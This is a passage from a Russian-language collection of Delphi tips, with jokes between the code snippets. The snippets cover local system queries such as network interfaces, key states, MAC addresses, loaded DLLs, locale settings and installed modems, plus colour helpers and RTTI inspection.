  iiNetmask: sockaddr_gen; // Маска подсети
end;
implementation
{-------------------------------------------------------------------
1. Открываем WINSOCK
2. Создаём сокет
3. Вызываем WSAIOCtl для доступа к сетевым интерфейсам
4. Для каждого интерфейса, получаем IP, MASK, BROADCAST, статус
5. Разделяем строку символом CRLF
6. Конец :)
--------------------------------------------------------------------}
function EnumInterfaces(var sInt: string): Boolean;
var
  s: TSocket;
  wsaD: WSADATA;
  NumInterfaces: Integer;
  BytesReturned, SetFlags: u_long;
  pAddrInet: SOCKADDR_IN;
  pAddrString: PCHAR;
  PtrA: pointer;
  Buffer: array[0..20] of INTERFACE_INFO;
  i: Integer;
begin
  result := true; // Инициализируем переменную
  sInt := '';
  WSAStartup($0101, wsaD); // Запускаем WinSock
  // Здесь можно дабавить различные обработчики ошибки :)
  s := Socket(AF_INET, SOCK_STREAM, 0); // Открываем сокет
  if (s = INVALID_SOCKET) then
    exit;
  try // Вызываем WSAIoCtl
    PtrA := @bytesReturned;
    if (WSAIoCtl(s, SIO_GET_INTERFACE_LIST, nil, 0, @Buffer,
    1024, PtrA, nil, nil) <> SOCKET_ERROR) then
    begin // Если OK, то определяем количество существующих интерфейсов
      NumInterfaces := BytesReturned div SizeOf(INTERFACE_INFO);
      for i := 0 to NumInterfaces - 1 do // Для каждого интерфейса
      begin
        pAddrInet := Buffer[i].iiAddress.addressIn; // IP адрес
        pAddrString := inet_ntoa(pAddrInet.sin_addr);
        sInt := sInt + ' IP=' + pAddrString + ',';
        pAddrInet := Buffer[i].iiNetMask.addressIn; // Маска подсети
        pAddrString := inet_ntoa(pAddrInet.sin_addr);
        sInt := sInt + ' Mask=' + pAddrString + ',';
        pAddrInet := Buffer[i].iiBroadCastAddress.addressIn; // Broadcast адрес
        pAddrString := inet_ntoa(pAddrInet.sin_addr);
        sInt := sInt + ' Broadcast=' + pAddrString + ',';
        SetFlags := Buffer[i].iiFlags;
        if (SetFlags and IFF_UP) = IFF_UP then
          sInt := sInt + ' Interface UP,' // Статус интерфейса up/down
        else
          sInt := sInt + ' Interface DOWN,';
        if (SetFlags and IFF_BROADCAST) = IFF_BROADCAST then // Broadcasts
          sInt := sInt + ' Broadcasts supported,' // поддерживает или
        else // не поддерживается
          sInt := sInt + ' Broadcasts NOT supported,';
        if (SetFlags and IFF_LOOPBACK) = IFF_LOOPBACK then // Циклический или
          sInt := sInt + ' Loopback interface'
        else
          sInt := sInt + ' Network interface'; // нормальный
        sInt := sInt + #13#10; // CRLF между каждым интерфейсом
      end;
  end;
  except
  end;
  //
  // Закрываем сокеты
  //
  CloseSocket(s);
  WSACleanUp;
  result := false;
end;
end.

Определить состояние CapsLock.

Статьи по Delphi (008)…
Озеро, тонет хакер: - F1!!! F1!!! ... Тьфу-ты... Не1р!!! Не1р!!!
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  if GetKeyState(VK_CAPITAL) and 1 = 0 then
    Form1.Caption := 'Caps lock не горит'
  else
    Form1.Caption := 'Caps lock горит';
end;

Определить состояние CapsLock 2.

Один программер отчитывает другого программера: - У тебя что, руки под Ctrl-Alt-Del заточены?
procedure AppOnIdle(Sender: TObject; var Done: Boolean);
...
procedure TForm1.AppOnIdle(Sender: TObject; var Done: Boolean);
begin
  CheckBox1.Checked := Odd(GetKeyState(VK_CAPITAL));
  CheckBox2.Checked := Odd(GetKeyState(VK_SHIFT));
  CheckBox3.Checked := Odd(GetKeyState(VK_NUMLOCK));
  CheckBox4.Checked := Odd(GetKeyState(VK_SCROLL));
  Done := False;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  Application.OnIdle := AppOnIdle;
end;

Определить состояние CapsLock 3.

function IsCapsLockOn: Boolean;
begin
  Result := 0 <> (GetKeyState(VK_CAPITAL) and $01);
end;

Как получить более светлый или более тёмный цвет.

Автор: http://www.swissdelphicenter.ch

{
  Here's some function that returns the lighter or darker color of a TColor.
  You can use it, for example, to design a bevel or something like that.
 }
 {=======================================}
function Min(a, b: Longint): Longint;
begin
  if a > b then
    Result := b
  else
    Result := a;
end;
function Max(a, b: Longint): Longint;
begin
  if a > b then
    Result := a
  else
    Result := b;
end;
{=======================================}
function GetHighlightColor(BaseColor: TColor): TColor;
begin
  Result := RGB(Min(GetRValue(ColorToRGB(BaseColor)) + 64, 255),
    Min(GetGValue(ColorToRGB(BaseColor)) + 64, 255),
    Min(GetBValue(ColorToRGB(BaseColor)) + 64, 255));
end;
function GetShadowColor(BaseColor: TColor): TColor;
begin
  Result := RGB(Max(GetRValue(ColorToRGB(BaseColor)) - 64, 0),
    Max(GetGValue(ColorToRGB(BaseColor)) - 64, 0),
    Max(GetBValue(ColorToRGB(BaseColor)) - 64, 0));
end;

Получение имени файла из его ярлыка.

Автор: VID WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение имени файла из его ярлыка
В параметре LinkFileName необходимо указать полное имя файлы-ярлыка.
Функция возвратит полное имя файла, на который ссылается рассматриваемый ярлык
Зависимости: ComObj, SysUtils, Windows, ActiveX, System, ShlObj
Автор:       VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright:   некий FAQ... не помню какой
Дата:        27 апреля 2002 г.
***************************************************** }
function GetFileNamefromLink(LinkFileName: string): string;
var
  MyObject: IUnknown;
  MySLink: IShellLink;
  MyPFile: IPersistFile;
  FileInfo: TWin32FINDDATA;
  WidePath: array[0..MAX_PATH] of WideChar;
  Buff: array[0..MAX_PATH] of Char;
begin
  Result := '';
  if (fileexists(Linkfilename) = false) then
    exit;
  MyObject := CreateComObject(CLSID_ShellLink);
  MyPFile := MyObject as IPersistFile;
  MySLink := MyObject as IShellLink;
  StringToWideChar(LinkFileName, WidePath, SizeOf(WidePath));
  MyPFile.Load(WidePath, STGM_READ);
  MySLink.GetPath(Buff, Max_PATH, FileInfo, SLGP_UNCPRIORITY);
  Result := buff;
end;

Получение списка DLL загруженных приложением.

Автор: Simon Carter

Иногда бывает полезно знать какими DLL-ками пользуется Ваше приложение. Давайте посмотрим как это можно сделать в Win NT/2000:

unit ModuleProcs;
interface
uses
  Windows, Classes;
type
  TModuleArray = array [0..400] of HMODULE;
  TModuleOption = (moRemovePath, moIncludeHandle);
  TModuleOptions = set of TModuleOption;
function GetLoadedDLLList(sl: TStrings;
  Options: TModuleOptions = [moRemovePath]): Boolean;
implementation
uses
  SysUtils;
function GetLoadedDLLList(sl: TStrings;
  Options: TModuleOptions = [moRemovePath]): Boolean;
type
  EnumModType = function (hProcess: Longint; lphModule: TModuleArray;
  cb: DWord; var lpcbNeeded: Longint): Boolean; stdcall;
var
  psapilib: HModule;
  EnumProc: Pointer;
  ma: TModuleArray;
  I: Longint;
  FileName: array[0..MAX_PATH] of Char;
  S: string;
begin
  Result := False;
  (* Данная функция запускается только для Widnows NT *)
  if Win32Platform <> VER_PLATFORM_WIN32_NT then
    Exit;
  psapilib := LoadLibrary('psapi.dll');
  if psapilib = 0 then
    Exit;
  try
    EnumProc := GetProcAddress(psapilib, 'EnumProcessModules');
    if not Assigned(EnumProc) then
      Exit;
    sl.Clear;
    FillChar(ma, SizeOF(TModuleArray), 0);
    if EnumModType(EnumProc)(GetCurrentProcess, ma, 400, I) then
    begin
      for I := 0 to 400 do
        if ma[i] <> 0 then
        begin
          FillChar(FileName, MAX_PATH, 0);
          GetModuleFileName(ma[i], FileName, MAX_PATH);
          if CompareText(ExtractFileExt(FileName), '.dll') = 0 then
          begin
            S := FileName;
            if moRemovePath in Options then
              S := ExtractFileName(S);
            if moIncludeHandle in Options then
              sl.AddObject(S, TObject(ma[I]))
            else
              sl.Add(S);
          end;
        end;
    end;
    Result := True;
  finally
    FreeLibrary(psapilib);
  end;
end;
end.

Для вызова приведённой функции надо сделать следующее:

Добавить listbox на форму (Listbox1) Добавить кнопку на форму (Button1).

Обработчик события OnClick для кнопки будет выглядеть следующим образом:

procedure TForm1.Button1Click(Sender: TObject);
begin
  GetLoadedDLLList(ListBox1.Items, [moIncludeHandle, moRemovePath]);
end;

Как получить информацию о локальных настройках системы.

Юзер: - Поставь-ка новые драйверы видеокарточки. Windows: - А диск есть? Юзер: - Есть. Windows: - А что сказать надо? Юзер: - Ok". Windows: - Фиг тебе, а не Ok". Не могу найти необходимые файлы! Юзер: - Так вот же они! Windows: - Где?! Юзер: - Да на диске! Windows: - На каком? Юзер: - На B:\. Windows: - Нет такого диска. Юзер: - А почему под DОS"ом есть?! Windows: - Не мои проблемы. Юзер: - А как же мне драйверы поставить? Windows: - А зачем тебе драйверы? У тебя видеокарточки-то нет. Юзер: - Не может быть! Windows: - Точно тебе говорю. Юзер: - А аудио есть? Windows: - И аудио нет. Юзер: - А что есть? Windows: - Джойстик есть. Юзер: - Отродясь не было... Windows: - Мне виднее. Юзер: - Надо же, а я его покупать собрался. Windows: - Вот видишь! Что бы ты без меня делал?

Delphi имеет функцию GetLocaleInfo, которая позволяет получать различную информацию о локальных настройках, таких как системный язык, символ валюты, количество десятичных знаков и т.д.

Далее приведена функция, которая возвращает значение в зависимости от параметра "flag":

function TForm1.GetLocaleInformation(Flag: Integer): string;
var
  pcLCA: array [0..20] of Char;
begin
  if GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, Flag, pcLCA, 19) then
    pcLCA[0] := #0;
  Result := pcLCA;
end;

Пример использования функции:

procedure TForm1.Button1Click(Sender: TObject);
begin 
  ShowMessage(GetLocaleInformation(LOCALE_SENGLANGUAGE));
end;

"Flag" может содержать следующее значение (если посмотреть в Windows.pas):

LOCALE_NOUSEROVERRIDE { do not use user overrides }
LOCALE_USE_CP_ACP { use the system ACP }
LOCALE_ILANGUAGE { language id }
LOCALE_SLANGUAGE { localized name of language }
LOCALE_SENGLANGUAGE { English name of language }
LOCALE_SABBREVLANGNAME { abbreviated language name }
LOCALE_SNATIVELANGNAME { native name of language }
LOCALE_ICOUNTRY { country code } 
LOCALE_SCOUNTRY { localized name of country } 
LOCALE_SENGCOUNTRY { English name of country } 
LOCALE_SABBREVCTRYNAME { abbreviated country name } 
LOCALE_SNATIVECTRYNAME { native name of country } 
LOCALE_IDEFAULTLANGUAGE { default language id } 
LOCALE_IDEFAULTCOUNTRY { default country code } 
LOCALE_IDEFAULTCODEPAGE { default oem code page } 
LOCALE_IDEFAULTANSICODEPAGE { default ansi code page } 
LOCALE_IDEFAULTMACCODEPAGE { default mac code page } 
LOCALE_SLIST { list item separator } 
LOCALE_IMEASURE { 0 = metric, 1 = US } 
LOCALE_SDECIMAL { decimal separator } 
LOCALE_STHOUSAND { thousand separator } 
LOCALE_SGROUPING { digit grouping } 
LOCALE_IDIGITS { number of fractional digits } 
LOCALE_ILZERO { leading zeros for decimal } 
LOCALE_INEGNUMBER { negative number mode } 
LOCALE_SNATIVEDIGITS { native ascii 0-9 } 
LOCALE_SCURRENCY { local monetary symbol } 
LOCALE_SINTLSYMBOL { intl monetary symbol } 
LOCALE_SMONDECIMALSEP { monetary decimal separator } 
LOCALE_SMONTHOUSANDSEP { monetary thousand separator } 
LOCALE_SMONGROUPING { monetary grouping } 
LOCALE_ICURRDIGITS { # local monetary digits } 
LOCALE_IINTLCURRDIGITS { # intl monetary digits } 
LOCALE_ICURRENCY { positive currency mode } 
LOCALE_INEGCURR { negative currency mode } 
LOCALE_SDATE { date separator }
LOCALE_STIME { time separator } 
LOCALE_SSHORTDATE { short date format string } 
LOCALE_SLONGDATE { long date format string } 
LOCALE_STIMEFORMAT { time format string } 
LOCALE_IDATE { short date format ordering } 
LOCALE_ILDATE { long date format ordering } 
LOCALE_ITIME { time format specifier } 
LOCALE_ITIMEMARKPOSN { time marker position } 
LOCALE_ICENTURY { century format specifier (short date) } 
LOCALE_ITLZERO { leading zeros in time field } 
LOCALE_IDAYLZERO { leading zeros in day field (short date) } 
LOCALE_IMONLZERO { leading zeros in month field (short date) } 
LOCALE_S1159 { AM designator } 
LOCALE_S2359 { PM designator } 
LOCALE_ICALENDARTYPE { type of calendar specifier } 
LOCALE_IOPTIONALCALENDAR { additional calendar types specifier } 
LOCALE_IFIRSTDAYOFWEEK { first day of week specifier } 
LOCALE_IFIRSTWEEKOFYEAR { first week of year specifier } 
LOCALE_SDAYNAME1 { long name for Monday } 
LOCALE_SDAYNAME2 { long name for Tuesday } 
LOCALE_SDAYNAME3 { long name for Wednesday } 
LOCALE_SDAYNAME4 { long name for Thursday } 
LOCALE_SDAYNAME5 { long name for Friday } 
LOCALE_SDAYNAME6 { long name for Saturday } 
LOCALE_SDAYNAME7 { long name for Sunday } 
LOCALE_SABBREVDAYNAME1 { abbreviated name for Monday } 
LOCALE_SABBREVDAYNAME2 { abbreviated name for Tuesday } 
LOCALE_SABBREVDAYNAME3 { abbreviated name for Wednesday } 
LOCALE_SABBREVDAYNAME4 { abbreviated name for Thursday } 
LOCALE_SABBREVDAYNAME5 { abbreviated name for Friday } 
LOCALE_SABBREVDAYNAME6 { abbreviated name for Saturday }
LOCALE_SABBREVDAYNAME7 { abbreviated name for Sunday } 
LOCALE_SMONTHNAME1 { long name for January } 
LOCALE_SMONTHNAME2 { long name for February } 
LOCALE_SMONTHNAME3 { long name for March } 
LOCALE_SMONTHNAME4 { long name for April } 
LOCALE_SMONTHNAME5 { long name for May } 
LOCALE_SMONTHNAME6 { long name for June } 
LOCALE_SMONTHNAME7 { long name for July } 
LOCALE_SMONTHNAME8 { long name for August } 
LOCALE_SMONTHNAME9 { long name for September } 
LOCALE_SMONTHNAME10 { long name for October } 
LOCALE_SMONTHNAME11 { long name for November } 
LOCALE_SMONTHNAME12 { long name for December } 
LOCALE_SMONTHNAME13 { long name for 13th month (if exists) } 
LOCALE_SABBREVMONTHNAME1 { abbreviated name for January } 
LOCALE_SABBREVMONTHNAME2 { abbreviated name for February } 
LOCALE_SABBREVMONTHNAME3 { abbreviated name for March } 
LOCALE_SABBREVMONTHNAME4 { abbreviated name for April } 
LOCALE_SABBREVMONTHNAME5 { abbreviated name for May } 
LOCALE_SABBREVMONTHNAME6 { abbreviated name for June } 
LOCALE_SABBREVMONTHNAME7 { abbreviated name for July } 
LOCALE_SABBREVMONTHNAME8 { abbreviated name for August } 
LOCALE_SABBREVMONTHNAME9 { abbreviated name for September } 
LOCALE_SABBREVMONTHNAME10 { abbreviated name for October } 
LOCALE_SABBREVMONTHNAME11 { abbreviated name for November } 
LOCALE_SABBREVMONTHNAME12 { abbreviated name for December } 
LOCALE_SABBREVMONTHNAME13 { abbreviated name for 13th month (if exists) } 
LOCALE_SPOSITIVESIGN { positive sign } 
LOCALE_SNEGATIVESIGN { negative sign } 
LOCALE_IPOSSIGNPOSN { positive sign position } 
LOCALE_INEGSIGNPOSN { negative sign position }
LOCALE_IPOSSYMPRECEDES { mon sym precedes pos amt } 
LOCALE_IPOSSEPBYSPACE { mon sym sep by space from pos amt } 
LOCALE_INEGSYMPRECEDES { mon sym precedes neg amt } 
LOCALE_INEGSEPBYSPACE { mon sym sep by space from neg amt } 
LOCALE_FONTSIGNATURE { font signature } 
LOCALE_SISO639LANGNAME { ISO abbreviated language name } 
LOCALE_SISO3166CTRYNAME { ISO abbreviated country name }

Получение локального имени компьютера.

Автор: Gua WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение локального имени компьютера
Зависимости: Winsock
Автор:       Gua, gua@ukr.net, ICQ:141585495, Simferopol
Copyright:   Gua
Дата:        23 июля 2002 г.
***************************************************** }
function GetLocalName: string;
var
  WSAData: TWSAData;
  Namebuf: array[0..255] of char;
begin
  WSAStartup($101, WSAData);
  GetHostname(namebuf, sizeof(namebuf));
  Result := NameBuf;
  WSACleanup;
end;

Как узнать адрес LPT-порта.

Эта функция работает в Win95 и Win98.

function GetPortAddress(PortNo: integer): word; assembler; stdcall;
asm
  push es
  push ebx
  mov ebx, PortNo
  shl ebx,1
  mov ax,40h // Dos segment adress
  mov es,ax
  mov ax,ES:[ebx+6] // get port adress in 16Bit way :)
  pop ebx
  pop es
end;

Получить MAC адрес.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

uses NB30;
 function GetMACAdress: string;
 var
   NCB: PNCB;
   Adapter: PAdapterStatus;
   URetCode: PChar;
   RetCode: char;
   I: integer;
   Lenum: PlanaEnum;
   _SystemID: string;
   TMPSTR: string;
 begin
   Result    := '';
   _SystemID := '';
   Getmem(NCB, SizeOf(TNCB));
   Fillchar(NCB^, SizeOf(TNCB), 0);
   Getmem(Lenum, SizeOf(TLanaEnum));
   Fillchar(Lenum^, SizeOf(TLanaEnum), 0);
   Getmem(Adapter, SizeOf(TAdapterStatus));
   Fillchar(Adapter^, SizeOf(TAdapterStatus), 0);
   Lenum.Length    := chr(0);
   NCB.ncb_command := chr(NCBENUM);
   NCB.ncb_buffer  := Pointer(Lenum);
   NCB.ncb_length  := SizeOf(Lenum);
   RetCode         := Netbios(NCB);
   i := 0;
   repeat
     Fillchar(NCB^, SizeOf(TNCB), 0);
     Ncb.ncb_command  := chr(NCBRESET);
     Ncb.ncb_lana_num := lenum.lana[I];
     RetCode          := Netbios(Ncb);
     Fillchar(NCB^, SizeOf(TNCB), 0);
     Ncb.ncb_command  := chr(NCBASTAT);
     Ncb.ncb_lana_num := lenum.lana[I];
     // Must be 16 
    Ncb.ncb_callname := '*               ';
     Ncb.ncb_buffer := Pointer(Adapter);
     Ncb.ncb_length := SizeOf(TAdapterStatus);
     RetCode        := Netbios(Ncb);
     //---- calc _systemId from mac-address[2-5] XOR mac-address[1]... 
    if (RetCode = chr(0)) or (RetCode = chr(6)) then
     begin
       _SystemId := IntToHex(Ord(Adapter.adapter_address[0]), 2) + '-' +
         IntToHex(Ord(Adapter.adapter_address[1]), 2) + '-' +
         IntToHex(Ord(Adapter.adapter_address[2]), 2) + '-' +
         IntToHex(Ord(Adapter.adapter_address[3]), 2) + '-' +
         IntToHex(Ord(Adapter.adapter_address[4]), 2) + '-' +
         IntToHex(Ord(Adapter.adapter_address[5]), 2);
     end;
     Inc(i);
   until (I >= Ord(Lenum.Length)) or (_SystemID <> '00-00-00-00-00-00');
   FreeMem(NCB);
   FreeMem(Adapter);
   FreeMem(Lenum);
   GetMacAdress := _SystemID;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   label1.Caption := GetMACAdress;
 end;
 //*************************************************** 
// Another Code from 
// http://delphi.vitpc.com/treasury/lan.htm 
//*************************************************** 
uses
   NB30;
 type
   TAdapterStatus = record
     adapter_address: array [0..5] of char;
     filler: array [1..4 * SizeOf(char) + 19 * SizeOf(Word) + 3 * SizeOf(DWORD)] of
     Byte;
   end;
   THostInfo = record
     username: PWideChar;
     logon_domain: PWideChar;
     oth_domains: PWideChar;
     logon_server: PWideChar;
   end;{record}
 function IsNetConnect: Boolean;
 begin
   if GetSystemMetrics(SM_NETWORK) and $01 = $01 then Result := True
   else
     Result := False;
 end;{function}
 function AdapterToString(Adapter: TAdapterStatus): string;
 begin
   with Adapter do Result :=
       Format('%2.2x-%2.2x-%2.2x-%2.2x-%2.2x-%2.2x',
       [Integer(adapter_address[0]), Integer(adapter_address[1]),
       Integer(adapter_address[2]), Integer(adapter_address[3]),
       Integer(adapter_address[4]), Integer(adapter_address[5])]);
 end;{function}
 function GetMacAddresses(const Machine: string;
   const Addresses: TStrings): Integer;
 const
   NCBNAMSZ = 16;        // absolute length of a net name 
  MAX_LANA = 254;       // lana's in range 0 to MAX_LANA inclusive 
  NRC_GOODRET = $00;       // good return 
  NCBASTAT = $33;       // NCB ADAPTER STATUS 
  NCBRESET = $32;       // NCB RESET 
  NCBENUM = $37;       // NCB ENUMERATE LANA NUMBERS 
type
   PNCB = ^TNCB;
   TNCBPostProc = procedure(P: PNCB);
   stdcall;
   TNCB = record
     ncb_command: Byte;
     ncb_retcode: Byte;
     ncb_lsn: Byte;
     ncb_num: Byte;
     ncb_buffer: PChar;
     ncb_length: Word;
     ncb_callname: array [0..NCBNAMSZ - 1] of char;
     ncb_name: array [0..NCBNAMSZ - 1] of char;
     ncb_rto: Byte;
     ncb_sto: Byte;
     ncb_post: TNCBPostProc;
     ncb_lana_num: Byte;
     ncb_cmd_cplt: Byte;
     ncb_reserve: array [0..9] of char;
     ncb_event: THandle;
   end;
   PLanaEnum = ^TLanaEnum;
   TLanaEnum = record
     Length: Byte;
     lana: array [0..MAX_LANA] of Byte;
   end;
   ASTAT = record
     adapt: TAdapterStatus;
     namebuf: array [0..29] of TNameBuffer;
   end;
 var
   NCB: TNCB;
   Enum: TLanaEnum;
   I: integer;
   Adapter: ASTAT;
   MachineName: string;
 begin
   Result := -1;
   Addresses.Clear;
   MachineName := UpperCase(Machine);
   if MachineName = '' then    MachineName := '*';
   FillChar(NCB, SizeOf(NCB), #0);
   NCB.ncb_command := NCBENUM;
   NCB.ncb_buffer  := Pointer(@Enum);
   NCB.ncb_length  := SizeOf(Enum);
   if Word(NetBios(@NCB)) = NRC_GOODRET then
   begin
     Result := Enum.Length;
     for I := 0 to Ord(Enum.Length) - 1 do
     begin
       FillChar(NCB, SizeOf(TNCB), #0);
       NCB.ncb_command  := NCBRESET;
       NCB.ncb_lana_num := Enum.lana[I];
       if Word(NetBios(@NCB)) = NRC_GOODRET then
       begin
         FillChar(NCB, SizeOf(TNCB), #0);
         NCB.ncb_command  := NCBASTAT;
         NCB.ncb_lana_num := Enum.lana[i];
         StrLCopy(NCB.ncb_callname, PChar(MachineName), NCBNAMSZ);
         StrPCopy(@NCB.ncb_callname[Length(MachineName)],
           StringOfChar(' ', NCBNAMSZ - Length(MachineName)));
         NCB.ncb_buffer := PChar(@Adapter);
         NCB.ncb_length := SizeOf(Adapter);
         if Word(NetBios(@NCB)) = NRC_GOODRET then
           Addresses.Add(AdapterToString(Adapter.adapt));
       end;
     end;
   end;
 end;{function}

Получение значения Memo-поля с помощью Query.

Получение Memo-значения в область Edit без использования Memo-поля. Разместите на вашей форме объект Query (Query1) Разместите на вашей форме объект Edit (Edit1) Разместите на вашей форме объект Button (Button1) Дважды щелкните на Query и добавьте поле Memo. (Biolife.db использует текстовое поле) Установите свойство Query1 SQL следующим образом: Select * from Biolife Установите свойство Query1 Active в True Добавьте следующий код в обработчик события кнопки Button1 OnClick:
procedure TForm1.Button1Click(Sender: TObject);
var
  bs: TBlobStream;
  p: array[0..50] of char;
begin
  FillChar(p, SizeOf(p), #0);
  bs := TBlobStream.Create(Query1Notes, bmRead);
  try
    bs.Read(p, 50);
  finally
    bs.Free;
  end;
  Edit1.Text := StrPas(p);
end;

Получить информацию о методах.

Автор: Xavier Pacheco

unit MainFrm;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls, DBClient, MidasCon, MConnect;
type
  TMainForm = class(TForm)
    lbSampMethods: TListBox;
    lbMethodInfo: TMemo;
    lblBasicMethodInfo: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure lbSampMethodsClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  MainForm: TMainForm;
implementation
uses TypInfo, DBTables, Provider;
{$R *.DFM}
type
  // It is necessary to redefine this record as it is commented out in
  // typinfo.pas.
  PParamRecord = ^TParamRecord;
  TParamRecord = record
    Flags: TParamFlags;
    ParamName: ShortString;
    TypeName: ShortString;
  end;
procedure GetBaseMethodInfo(ATypeInfo: PTypeInfo; AStrings: TStrings);
{ This method obtains some basic RTTI data from the TTypeInfo and adds that
  information to the AStrings parameter. }
var
  MethodTypeData: PTypeData;
  EnumName: string;
begin
  MethodTypeData := GetTypeData(ATypeInfo);
  with AStrings do
  begin
    Add(Format('Class Name:     %s', [ATypeInfo^.Name]));
    EnumName := GetEnumName(TypeInfo(TTypeKind), Integer(ATypeInfo^.Kind));
    Add(Format('Kind:           %s', [EnumName]));
    Add(Format('Num Parameters: %d', [MethodTypeData.ParamCount]));
  end;
end;
procedure GetMethodDefinition(ATypeInfo: PTypeInfo; AStrings: TStrings);
{ This method retrieves the property info on a method pointer. We use this
  information to recunstruct the method definition. }
var
  MethodTypeData: PTypeData;
  MethodDefine: string;
  ParamRecord: PParamRecord;
  TypeStr: ^ShortString;
  ReturnStr: ^ShortString;
  i: integer;
begin
  MethodTypeData := GetTypeData(ATypeInfo);
  // Determine the type of method
  case MethodTypeData.MethodKind of
    mkProcedure: MethodDefine := 'procedure ';
    mkFunction: MethodDefine := 'function ';
    mkConstructor: MethodDefine := 'constructor ';
    mkDestructor: MethodDefine := 'destructor ';
    mkClassProcedure: MethodDefine := 'class procedure ';
    mkClassFunction: MethodDefine := 'class function ';
  end;
  // point to the first parameter
  ParamRecord := @MethodTypeData.ParamList;
  i := 1; // first parameter
  // loop through the method's parameters and add them to the string list as
  // they would be normally defined.
  while i <= MethodTypeData.ParamCount do
  begin
    if i = 1 then
      MethodDefine := MethodDefine + '(';
    if pfVar in ParamRecord.Flags then
      MethodDefine := MethodDefine + ('var ');
    if pfconst in ParamRecord.Flags then
      MethodDefine := MethodDefine + ('const ');
    if pfArray in ParamRecord.Flags then
      MethodDefine := MethodDefine + ('array of ');
    //  we won't do anything for the pfAddress but know that the Self parameter
    //  gets passed with this flag set.
    {
        if pfAddress in ParamRecord.Flags then
          MethodDefine := MethodDefine+('*address* ');
    }
    if pfout in ParamRecord.Flags then
      MethodDefine := MethodDefine + ('out ');
    // Use pointer arithmetic to get the type string for the parameter.
    TypeStr := Pointer(Integer(@ParamRecord^.ParamName) +
      Length(ParamRecord^.ParamName) + 1);
    MethodDefine := Format('%s%s: %s', [MethodDefine, ParamRecord^.ParamName,
      TypeStr^]);
    inc(i); // Increment the counter.
    // Go the next parameter. Notice that use of pointer arithmetic to
    // get to the appropriate location of the next parameter.
    ParamRecord := PParamRecord(Integer(ParamRecord) + SizeOf(TParamFlags) +
      (Length(ParamRecord^.ParamName) + 1) + (Length(TypeStr^) + 1));
    // if there are still parameters then setup
    if i <= MethodTypeData.ParamCount then
    begin
      MethodDefine := MethodDefine + '; ';
    end
    else
      MethodDefine := MethodDefine + ')';
  end;
  // If the method type is a function, it has a return value. This is also
  // placed in the method definition string. The return value will be at the
  // location following the last parameter.
  if MethodTypeData.MethodKind = mkFunction then
  begin
    ReturnStr := Pointer(ParamRecord);
    MethodDefine := Format('%s: %s;', [MethodDefine, ReturnStr^])
  end
  else
    MethodDefine := MethodDefine + ';';
  // finally, add the string to the listbox.
  with AStrings do
  begin
    Add(MethodDefine)
  end;
end;
procedure TMainForm.FormCreate(Sender: TObject);
begin
  { Add some method types to the list box. Also, store the pointer to the RTTI
    data in listbox's Objects array }
  with lbSampMethods.Items do
  begin
    AddObject('TNotifyEvent', TypeInfo(TNotifyEvent));
    AddObject('TMouseEvent', TypeInfo(TMouseEvent));
    AddObject('TBDECallBackEvent', TypeInfo(TBDECallBackEvent));
    AddObject('TDataRequestEvent', TypeInfo(TDataRequestEvent));
    AddObject('TGetModuleProc', TypeInfo(TGetModuleProc));
    AddObject('TReaderError', TypeInfo(TReaderError));
  end;
end;
procedure TMainForm.lbSampMethodsClick(Sender: TObject);
begin
  lbMethodInfo.Lines.Clear;
  with lbSampMethods do
  begin
    GetBaseMethodInfo(PTypeInfo(Items.Objects[ItemIndex]), lbMethodInfo.Lines);
    GetMethodDefinition(PTypeInfo(Items.Objects[ItemIndex]),
      lbMethodInfo.Lines);
  end;
end;
end.

Смешиваем два цвета.

Автор: Vit WEB-сайт: http://forum.vingrad.ru

Самый простой способ смешать два цвета c1 и c2, это вычислить средние значения rgb-значений. Данный пример не отличается особой быстротой, поэтому если Вам нужно быстро смешивать цвета, то прийдётся пошевелить мозгами...

function GetMixColor(c1, c2: TColor): TColor;
begin
  // вычисляем средние значения Красного, Синего и Зелёного значений
  // цветов c1 и c2:
  Result := RGB(
    (GetRValue(c1) + GetRValue(c2)) div 2,
    (GetGValue(c1) + GetGValue(c2)) div 2,
    (GetBValue(c1) + GetBValue(c2)) div 2
    );
end;

Получить список установленных модемов в Win95-98.

У диалапера спрашивают: - А что ты тестируешь, качество связи с новым провайдером? - Нет, свои нервы... сколько они еще смогут выдержать этот коннект!!!
unit PortInfo;
interface
uses
  Windows, SysUtils, Classes, Registry;
  function EnumModems: TStrings;
implementation
function EnumModems : TStrings;
var
  R : TRegistry;
  s : ShortString;
  N : TStringList;
  i : integer;
  j : integer;
begin
  Result:= TStringList.Create;
  R:= TRegistry.Create;
  try
    with R do
    begin
      RootKey:= HKEY_LOCAL_MACHINE;
      if OpenKey('\System\CurrentControlSet\Services\Class\Modem', False) then
        if HasSubKeys then
        begin
          N:= TStringList.Create;
          try
            GetKeyNames(N);
            for i:=0 to N.Count - 1 do
            begin
              closekey; { + }
              openkey('\System\CurrentControlSet\Services\Class\Modem', false);
              OpenKey(N[i], False);
              s:= ReadString('AttachedTo');
              for j:=1 to 4 do
                if Pos(Chr(j+Ord('0')), s) > 0 then
                  Break;
              Result.AddObject(ReadString('DriverDesc'),TObject(j));
              CloseKey;
            end;
          finally
            N.Free;
          end;
        end;
    end;
  finally
    R.Free;
  end;
end;
end.

Получить список установленных модемов в Win95-98 2.

function EnumModems: TStrings;
var
  R: TRegistry;
  s: ShortString;
  N: TStringList;
  i, j: integer;
begin
  Result := TStringList.Create;
  R := TRegistry.Create;
  try
    with R do
    begin
      RootKey := HKEY_LOCAL_MACHINE;
      if OpenKey('\System\CurrentControlSet\Services\Class\Modem', False) then
        if HasSubKeys then
        begin
          N := TStringList.Create;
          try
            GetKeyNames(N);
            for i := 0 to N.Count - 1 do
            begin
              CloseKey;
              OpenKey(N[i], False);
              s := ReadString('AttachedTo');
              for j := 1 to 4 do
                if Pos(Chr(j + Ord('0')), s) > 0 then
                  Break;
              Result.AddObject(ReadString('DriverDesc'), TObject(j));
              CloseKey;
            end;
          finally
